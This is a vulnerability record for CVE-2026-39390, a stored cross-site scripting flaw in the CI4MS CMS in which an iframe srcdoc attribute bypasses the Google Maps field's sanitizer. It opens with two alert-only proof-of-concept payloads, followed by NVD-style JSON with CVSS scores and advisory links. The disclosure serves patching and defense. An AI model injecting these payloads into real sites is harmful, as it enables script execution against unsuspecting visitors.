CVE-2026-39390

<!-- PoC: Inject this payload into the Google Maps iframe setting (cMap field) --> <iframe srcdoc="&lt;script&gt;alert('XSS by CVE-2026-39390');&lt;/script&gt;"></iframe> <!-- Alternative PoC using img tag for execution --> <iframe srcdoc="&lt;img src=x onerror=alert(1)&gt;"></iframe>

{"cve": {"id": "CVE-2026-39390", "sourceIdentifier": "[email protected]", "published": "2026-04-08T15:16:13.750", "lastModified": "2026-04-21T17:34:44.647", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0, the Google Maps iframe setting (cMap field) in compInfosPost() sanitizes input using strip_tags() with an <iframe> allowlist and regex-based removal of on\\w+ event handlers. However, the srcdoc attribute is not an event handler and passes all filters. An attacker with admin settings access can inject an <iframe srcdoc=\"...\"> payload with HTML-entity-encoded JavaScript that executes in the context of the parent page when rendered to unauthenticated frontend visitors. This vulnerability is fixed in 0.31.4.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ci4-cms-erp:ci4ms:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.31.3.0", "matchCriteriaId": "31F6C77E-A7DD-452A-931A-60B014F90C6E"}]}]}], "references": [{"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-x3hr-cp7x-44r2", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-x3hr-cp7x-44r2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}]}}